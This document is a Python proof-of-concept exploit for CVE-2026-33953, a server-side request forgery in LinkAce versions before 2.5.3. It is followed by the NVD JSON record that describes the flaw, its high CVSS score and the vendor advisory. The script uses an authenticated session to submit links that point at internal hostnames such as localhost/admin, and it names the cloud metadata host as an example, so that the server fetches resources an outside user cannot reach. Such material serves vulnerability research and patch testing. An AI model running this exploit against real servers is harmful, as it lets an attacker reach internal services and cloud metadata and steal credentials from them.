CVE-2026-33953

# PoC for CVE-2026-33953 (LinkAce SSRF) # This script demonstrates how an internal hostname can bypass IP literal checks. import requests def exploit_ssrf(target_url, internal_host): """ Attempts to create a link pointing to an internal hostname. """ session = requests.Session() # Authentication cookie or header is required (PR:L) session.headers.update({ "Content-Type": "application/x-www-form-urlencoded",\n "Cookie": "linkace_session=<authenticated_session_token>" }) # Payload using internal hostname instead of IP payload = { "url": internal_host, # e.g., http://localhost:8080 or http://metadata.google.internal "title": "Internal Resource", "list_id": "1", "tags": "test" } try: response = session.post(f"{target_url}/links", data=payload) if response.status_code == 200 or response.status_code == 201: print(f"[+] Request sent successfully. Server likely processed {internal_host}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost:8000" # Replace with actual LinkAce URL # Targeting an internal service reachable by the server internal_target = "http://localhost/admin" exploit_ssrf(target, internal_target)

{"cve": {"id": "CVE-2026-33953", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:21.760", "lastModified": "2026-03-31T17:57:08.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LinkAce is a self-hosted archive to collect website links. Versions prior to 2.5.3 block direct requests to private IP literals, but still performs server-side requests to internal-only resources when those resources are referenced through an internal hostname. This allows an authenticated user to trigger server-side requests to internal services reachable by the LinkAce server but not directly reachable by an external user. Version 2.5.3 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linkace:linkace:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.3", "matchCriteriaId": "5085A4DA-FF49-40D4-84A3-AFAFEC3902FC"}]}]}], "references": [{"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-wp4g-qw9j-wfjg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}